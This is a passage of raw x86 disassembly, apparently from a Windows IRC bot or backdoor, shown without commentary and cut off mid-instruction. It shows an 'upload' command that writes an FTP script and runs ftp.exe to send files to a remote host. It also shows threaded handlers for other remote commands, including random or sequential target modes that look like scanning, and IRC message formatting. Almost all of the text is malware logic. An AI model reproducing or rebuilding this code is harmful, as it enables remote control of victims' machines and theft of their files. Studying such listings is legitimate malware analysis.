lea eax, [ebp+var_2C4] push offset unk_42ABD0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h loc_407208: ; CODE XREF: sub_401ACD+518Dj ; sub_401ACD+5557j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401F75 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 push 4 push esi call sub_416CAF pop ecx test eax, eax pop ecx jnz short loc_407253 push esi push offset unk_42ABA8 loc_40723F: ; CODE XREF: sub_401ACD+711Ej ; sub_401ACD+796Bj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_403F9D ; --------------------------------------------------------------------------- loc_407253: ; CODE XREF: sub_401ACD+576Aj nop call near ptr 26C0589h push eax call sub_41C2B8 pop ecx call sub_41C2C2 push 9 cdq pop ecx idiv ecx push edx call sub_41C2C2 push 63h cdq pop ecx idiv ecx push edx call sub_41C2C2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_50FC] push edx push eax lea eax, [ebp+var_2E5C] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41C266 lea eax, [ebp+var_2E5C] push offset aAb ; "ab" push eax call sub_41BEA2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401F75 push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41C7E6 push [ebp+arg_24] call sub_41BA3B add esp, 20h lea eax, [ebp+var_2E5C] push eax lea eax, [ebp+var_4CF8] push offset aSS_1 ; "-s:%s" push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_4CF8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CB940 test eax, eax push edi push esi jz short loc_407320 push offset unk_42AB38 jmp short loc_407325 ; --------------------------------------------------------------------------- loc_407320: ; CODE XREF: sub_401ACD+584Aj push offset unk_42AB08 loc_407325: ; CODE XREF: sub_401ACD+5851j call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40734E push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_40734E: ; CODE XREF: sub_401ACD+5863j lea eax, [ebp+var_2C4] push eax call sub_415D38 loc_40735A: ; CODE XREF: sub_401ACD+58B2j lea eax, [ebp+var_2E5C] push 4 push eax call sub_416CAF add esp, 0Ch test eax, eax jz loc_401F75 lea eax, [ebp+var_2E5C] push eax call sub_41C7BC jmp short loc_40735A ; --------------------------------------------------------------------------- loc_407381: ; CODE XREF: sub_401ACD+5705j push edi call sub_41C159 push [ebp+arg_18] mov [ebp+var_370], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41C159 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_4073BA push 5 pop eax mov [ebp+var_36C], eax loc_4073BA: ; CODE XREF: sub_401ACD+58E2j push 3Ch pop ecx cmp eax, ecx jbe short loc_4073C7 mov [ebp+var_36C], ecx loc_4073C7: ; CODE XREF: sub_401ACD+58F2j push [ebp+arg_10] call sub_41C159 cmp eax, 320h pop ecx mov [ebp+var_368], eax jbe short loc_4073E7 mov [ebp+var_368], 320h loc_4073E7: ; CODE XREF: sub_401ACD+590Ej or [ebp+var_354], 0FFFFFFFFh cmp dword_4317F8, ebx mov [ebp+arg_1C], ebx jz short loc_40743D mov [ebp+arg_24], offset dword_4317F8 loc_407400: ; CODE XREF: sub_401ACD+5952j mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_407423 add [ebp+arg_24], 40h inc [ebp+arg_1C] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_407400 jmp short loc_40743D ; --------------------------------------------------------------------------- loc_407423: ; CODE XREF: sub_401ACD+5944j mov eax, [ebp+arg_1C] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_4317F8[ecx] mov [ebp+var_370], ecx loc_40743D: ; CODE XREF: sub_401ACD+592Aj ; sub_401ACD+5954j cmp [ebp+var_370], ebx jnz short loc_40744F push offset unk_42AAD4 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_40744F: ; CODE XREF: sub_401ACD+5976j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_40748A cmp byte ptr [edi], 23h jz short loc_40748A push edi lea eax, [ebp+var_484] push 10h push eax call sub_41C360 push 78h push edi call sub_41C990 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407564 ; --------------------------------------------------------------------------- loc_40748A: ; CODE XREF: sub_401ACD+598Bj ; sub_401ACD+5990j cmp [ebp+var_8FF], bl jnz short loc_4074AC cmp [ebp+var_8FE], bl jnz short loc_4074AC cmp [ebp+var_8EE], bl jnz short loc_4074AC push offset unk_42AAA0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_4074AC: ; CODE XREF: sub_401ACD+59C3j ; sub_401ACD+59CBj ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CB978 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CBA60 push eax lea eax, [ebp+var_484] push eax call sub_41BFD0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40755E xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41C820 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407552 loc_407530: ; CODE XREF: sub_401ACD+5A83j cmp eax, ebx jz short loc_407552 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41C820 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_407530 loc_407552: ; CODE XREF: sub_401ACD+5A61j ; sub_401ACD+5A65j mov [ebp+var_344], 1 jmp short loc_407564 ; --------------------------------------------------------------------------- loc_40755E: ; CODE XREF: sub_401ACD+5A3Bj mov [ebp+var_344], ebx loc_407564: ; CODE XREF: sub_401ACD+59B8j ; sub_401ACD+5A8Fj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41C360 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_4075B5 loc_4075A2: ; CODE XREF: sub_401ACD+5B0Bj push esi loc_4075A3: ; CODE XREF: sub_401ACD+5AF5j lea eax, [ebp+var_3F4] push edi push eax call sub_41C360 add esp, 0Ch jmp short loc_4075E0 ; --------------------------------------------------------------------------- loc_4075B5: ; CODE XREF: sub_401ACD+5AD3j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4075C4 cmp byte ptr [eax], 23h jnz short loc_4075C4 push eax jmp short loc_4075A3 ; --------------------------------------------------------------------------- loc_4075C4: ; CODE XREF: sub_401ACD+5AEDj ; sub_401ACD+5AF2j mov esi, offset aF ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4075A2 mov [ebp+var_3F4], bl loc_4075E0: ; CODE XREF: sub_401ACD+5AE6j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4075F2 mov eax, offset aSequential ; "Sequential" loc_4075F2: ; CODE XREF: sub_401ACD+5B1Ej push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42AA38 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C600 push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407680 loc_40766A: ; CODE XREF: sub_401ACD+5BB1j cmp [ebp+var_340], ebx jnz loc_4081AD push 32h nop call near ptr 26A068Bh jmp short loc_40766A ; --------------------------------------------------------------------------- loc_407680: ; CODE XREF: sub_401ACD+5B9Bj nop call near ptr 26B0669h push eax push offset unk_42AA00 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_407691: ; CODE XREF: sub_401ACD+4E42j ; sub_401ACD+4E59j push edi call sub_40A8F0 push [ebp+arg_18] mov [ebp+var_4E0], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_4EC], eax call sub_41C159 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41BFD0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CBA60 push eax lea eax, [ebp+var_2C4] push offset unk_42A9B0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset byte_40CA1D push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407786 loc_407770: ; CODE XREF: sub_401ACD+5CB7j cmp [ebp+var_4D0], ebx jnz loc_403D46 push 32h nop call near ptr 26A068Bh jmp short loc_407770 ; --------------------------------------------------------------------------- loc_407786: ; CODE XREF: sub_401ACD+5CA1j nop call near ptr 26B0669h push eax push offset unk_42A974 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407797: ; CODE XREF: sub_401ACD+4E05j ; sub_401ACD+4E1Cj push edi call sub_41C159 imul eax, 234h pop ecx cmp byte_43E928[eax], bl jz loc_409644 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] call sub_41B9C0 push edi mov esi, eax call sub_41B9C0 push [ebp+arg_8] add esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C2E0 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A968 push eax call sub_41C266 add esp, 0Ch cmp esi, ebx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_18] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409869 push edi call sub_41C159 imul eax, 234h add esp, 18h cmp byte ptr dword_43E710[eax], 73h jnz loc_409644 push esi push edi call sub_41C159 imul eax, 234h pop ecx add eax, offset byte_43E928 push eax push [ebp+arg_18] push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407957 ; --------------------------------------------------------------------------- loc_407887: ; CODE XREF: sub_401ACD+4DD7j ; sub_401ACD+4DEEj push edi call sub_41C159 imul eax, 234h pop ecx cmp byte_43E928[eax], bl jz loc_409644 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] call sub_41B9C0 push edi mov esi, eax call sub_41B9C0 push [ebp+arg_8] add esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409869 push edi call sub_41C159 imul eax, 234h add esp, 18h cmp byte ptr dword_43E710[eax], 73h jnz loc_409644 push esi push edi call sub_41C159 imul eax, 234h pop ecx add eax, offset byte_43E928 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] <%s> %s" loc_407957: ; CODE XREF: sub_401ACD+5DB5j lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 28h jmp loc_409644 ; --------------------------------------------------------------------------- loc_407984: ; CODE XREF: sub_401ACD+4DA9j ; sub_401ACD+4DC0j push edi call dword_4CBA14 push [ebp+arg_18] mov [ebp+var_680], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41C159 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41BFD0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CBA60 push eax lea eax, [ebp+var_2C4] push offset unk_42A910 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset dword_40C92C push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407A66 loc_407A50: ; CODE XREF: sub_401ACD+5F97j cmp [ebp+var_670], ebx jnz loc_403D46 push 32h call near ptr 26A068Bh nop jmp short loc_407A50 ; --------------------------------------------------------------------------- loc_407A66: ; CODE XREF: sub_401ACD+5F81j nop call near ptr 26B0669h push eax push offset unk_42AA00 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407A77: ; CODE XREF: sub_401ACD+4D7Bj ; sub_401ACD+4D92j push edi call sub_41C159 push 7Fh mov [ebp+var_1130], eax push [ebp+arg_18] lea eax, [ebp+var_1234] push eax call sub_41BFD0 push [ebp+arg_0] call sub_41C159 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1134], eax lea eax, [ebp+var_11B4] push [ebp+var_88] mov [ebp+var_123C], esi push 80h push eax call sub_41C360 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_1120], eax push [ebp+var_1134] lea eax, [ebp+var_1234] mov [ebp+var_1124], edi push eax push [ebp+var_1130] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A8D4 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B3BA add esp, 24h mov [ebp+var_112C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_123C] push ebx push eax push offset loc_410DAB push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_112C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407B63 loc_407B4D: ; CODE XREF: sub_401ACD+6094j cmp [ebp+var_111C], ebx jnz loc_403D46 push 32h call near ptr 26A068Bh nop jmp short loc_407B4D ; --------------------------------------------------------------------------- loc_407B63: ; CODE XREF: sub_401ACD+607Ej nop call near ptr 26B0669h push eax push offset unk_42A890 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407B74: ; CODE XREF: sub_401ACD+4D4Dj ; sub_401ACD+4D64j push 0FFh lea eax, [ebp+var_287C] push edi push eax call sub_41BFD0 push 0FFh lea eax, [ebp+var_277C] push [ebp+arg_18] push eax call sub_41BFD0 push [ebp+arg_0] mov [ebp+var_2678], ebx call sub_41C159 mov [ebp+var_2674], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407BCD push 10h push ebx push eax call sub_41C7A5 add esp, 0Ch mov [ebp+var_266C], eax jmp short loc_407BD3 ; --------------------------------------------------------------------------- loc_407BCD: ; CODE XREF: sub_401ACD+60EAj mov [ebp+var_266C], ebx loc_407BD3: ; CODE XREF: sub_401ACD+60FEj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407BEA push esi call sub_41C159 pop ecx mov [ebp+var_2670], eax jmp short loc_407BF0 ; --------------------------------------------------------------------------- loc_407BEA: ; CODE XREF: sub_401ACD+610Cj mov [ebp+var_2670], ebx loc_407BF0: ; CODE XREF: sub_401ACD+611Bj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2668], eax lea eax, [ebp+var_28FC] mov [ebp+var_2900], esi push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_2660], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_2664], eax lea eax, [ebp+var_2C4] push edi push offset dword_42A864 push eax call sub_41C266 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_267C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2900] push ebx push eax push offset loc_4167A0 push ebx push ebx call near ptr 26A06F9h nop mov ecx, [ebp+var_267C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407CA1 loc_407C8B: ; CODE XREF: sub_401ACD+61D2j cmp [ebp+var_265C], ebx jnz loc_407196 push 32h call near ptr 26A068Bh nop jmp short loc_407C8B ; --------------------------------------------------------------------------- loc_407CA1: ; CODE XREF: sub_401ACD+61BCj nop call near ptr 26B0669h push eax push offset unk_42A824 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407CB2: ; CODE XREF: sub_401ACD+4D1Fj ; sub_401ACD+4D36j push 7Fh lea eax, [ebp+var_3494] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3414] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3394] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3314] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_3290], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_328C], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3498], esi push edi push offset unk_42A7E8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B3BA add esp, 20h mov [ebp+var_3294], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3498] push ebx push eax push offset byte_41561D push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_3294] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407D89 loc_407D73: ; CODE XREF: sub_401ACD+62BAj cmp [ebp+var_3288], ebx jnz loc_407196 push 32h call near ptr 26A068Bh nop jmp short loc_407D73 ; --------------------------------------------------------------------------- loc_407D89: ; CODE XREF: sub_401ACD+62A4j nop call near ptr 26B0669h push eax push offset unk_42A7B0 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407D9A: ; CODE XREF: sub_401ACD+4BF2j ; sub_401ACD+4C09j push 7Fh lea eax, [ebp+var_306C] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_2FEC] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_2F6C] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_2EEC] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E68], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E64], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3070], esi push edi push offset unk_42A780 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B3BA add esp, 20h mov [ebp+var_2E6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3070] push ebx push eax push offset dword_414358 push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_2E6C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407E71 loc_407E5B: ; CODE XREF: sub_401ACD+63A2j cmp [ebp+var_2E60], ebx jnz loc_407196 push 32h call near ptr 26A068Bh nop jmp short loc_407E5B ; --------------------------------------------------------------------------- loc_407E71: ; CODE XREF: sub_401ACD+638Cj nop call near ptr 26B0669h push eax push offset unk_42A748 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407E82: ; CODE XREF: sub_401ACD+4AC9j ; sub_401ACD+4AE0j ... push 7Fh lea eax, [ebp+var_3CE8] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3C68] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3BE8] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3B68] push [ebp+var_88] push eax call sub_41BFD0 push 20h lea eax, [ebp+var_3AE8] push [ebp+arg_8] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A68], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A64], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3CF0], esi push edi push offset unk_42A718 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B3BA add esp, 20h mov [ebp+var_3CEC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CF0] push ebx push eax push offset byte_4135DF push ebx push ebx call near ptr 26A06F9h nop mov ecx, [ebp+var_3CEC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407F6A loc_407F54: ; CODE XREF: sub_401ACD+649Bj cmp [ebp+var_3A60], ebx jnz loc_407196 push 32h nop call near ptr 26A068Bh jmp short loc_407F54 ; --------------------------------------------------------------------------- loc_407F6A: ; CODE XREF: sub_401ACD+6485j nop call near ptr 26B0669h push eax push offset unk_42A6E0 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407F7B: ; CODE XREF: sub_401ACD+4A9Bj ; sub_401ACD+4AB2j push 7Fh lea eax, [ebp+var_177C] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push 3Fh mov [ebp+var_162C], eax push [ebp+arg_0] lea eax, [ebp+var_16FC] push eax call sub_41BFD0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_407FC6 push 3Fh lea eax, [ebp+var_16BC] push esi push eax call sub_41BFD0 add esp, 0Ch loc_407FC6: ; CODE XREF: sub_401ACD+64E5j lea eax, [ebp+var_16FC] mov [ebp+var_1628], 1 push eax lea eax, [ebp+var_177C] push [ebp+var_162C] push eax lea eax, [ebp+var_2C4] push offset dword_42A6B0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B3BA add esp, 20h mov [ebp+var_1624], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1780] push ebx push eax push offset sub_4017ED push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_1624] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408052 loc_40803C: ; CODE XREF: sub_401ACD+6583j cmp [ebp+var_1620], ebx jnz loc_406BFE push 32h call near ptr 26A068Bh nop jmp short loc_40803C ; --------------------------------------------------------------------------- loc_408052: ; CODE XREF: sub_401ACD+656Dj nop call near ptr 26B0669h push eax push offset dword_42A674 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408063: ; CODE XREF: sub_401ACD+4A5Bj ; sub_401ACD+4A72j push [ebp+arg_18] call sub_41C159 cmp eax, ebx pop ecx mov [ebp+var_1D68], eax jle loc_408156 mov esi, 80h push edi lea eax, [ebp+var_1EF0] push esi push eax call sub_41C360 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D64], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF4], eax lea eax, [ebp+var_1DF0] push esi push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D60], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_1D5C], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A648 push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B3BA add esp, 20h mov [ebp+var_1D70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF4] push ebx push eax push offset byte_413A29 push ebx push ebx call near ptr 26A06F9h nop mov ecx, [ebp+var_1D70] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408145 loc_408133: ; CODE XREF: sub_401ACD+6676j cmp [ebp+var_1D58], ebx jnz short loc_4081AD push 32h call near ptr 26A068Bh nop jmp short loc_408133 ; --------------------------------------------------------------------------- loc_408145: ; CODE XREF: sub_401ACD+6664j call near ptr 26B0669h nop push eax push offset unk_42A610 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_408156: ; CODE XREF: sub_401ACD+65A7j push offset unk_42A5D8 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408160: ; CODE XREF: sub_401ACD+4A2Dj ; sub_401ACD+4A44j push [ebp+arg_18] push edi call near ptr 26D0D07h nop test eax, eax jz short loc_40818D push [ebp+arg_18] lea eax, [ebp+var_2C4] push edi push offset unk_42A5B4 push 200h push eax call sub_41C360 add esp, 14h jmp short loc_4081AD ; --------------------------------------------------------------------------- loc_40818D: ; CODE XREF: sub_401ACD+669Fj push offset dword_42A5A8 call sub_418699 pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 loc_4081AA: ; CODE XREF: sub_401ACD+548Dj ; sub_401ACD+73C5j add esp, 0Ch loc_4081AD: ; CODE XREF: sub_401ACD+20DCj ; sub_401ACD+2E89j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4081CA: ; CODE XREF: sub_401ACD+56E4j call sub_409869 add esp, 14h jmp loc_4082DE ; --------------------------------------------------------------------------- loc_4081D7: ; CODE XREF: sub_401ACD+49FFj ; sub_401ACD+4A16j push edi lea eax, [ebp+var_3F08] push 104h push eax call sub_41C360 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_408211 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_408211 push eax lea eax, [ebp+var_3E04] push eax call sub_41C266 pop ecx pop ecx loc_408211: ; CODE XREF: sub_401ACD+6722j ; sub_401ACD+6733j push [ebp+var_88] lea eax, [ebp+var_3F88] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F8C], eax mov eax, [ebp+var_4] mov [ebp+var_3CFC], eax mov eax, [ebp+var_8] mov [ebp+var_3CF8], eax lea eax, [ebp+var_3E04] push eax lea eax, [ebp+var_3F08] push eax push offset unk_42A578 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B3BA add esp, 20h mov [ebp+var_3D00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F8C] push ebx push eax push offset dword_417054 push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_3D00] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4082C3 loc_4082B1: ; CODE XREF: sub_401ACD+67F4j cmp [ebp+var_3CF4], ebx jnz short loc_4082DE push 32h call near ptr 26A068Bh nop jmp short loc_4082B1 ; --------------------------------------------------------------------------- loc_4082C3: ; CODE XREF: sub_401ACD+67E2j nop call near ptr 26B0669h push eax push offset unk_42A53C loc_4082CF: ; CODE XREF: sub_401ACD+909j ; sub_401ACD+A47j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_4082DE: ; CODE XREF: sub_401ACD+7C5j ; sub_401ACD+930j ... push 1 pop esi jmp loc_406C22 ; --------------------------------------------------------------------------- loc_4082E6: ; CODE XREF: sub_401ACD+49D1j ; sub_401ACD+49E8j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41BF70 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push edi mov [ebp+var_63C], esi call sub_41C159 add esp, 10h cmp eax, esi jnz short loc_408323 mov [ebp+var_638], 5 loc_408323: ; CODE XREF: sub_401ACD+684Bj cmp [ebp+var_C], ebx jz loc_406BFE push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406BFE lea eax, [ebp+var_E34] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call near ptr 2680B8Eh nop test eax, eax jnz short loc_40836E push offset unk_42A518 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40836E: ; CODE XREF: sub_401ACD+6895j push edi push offset dword_42A4FC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408379: ; CODE 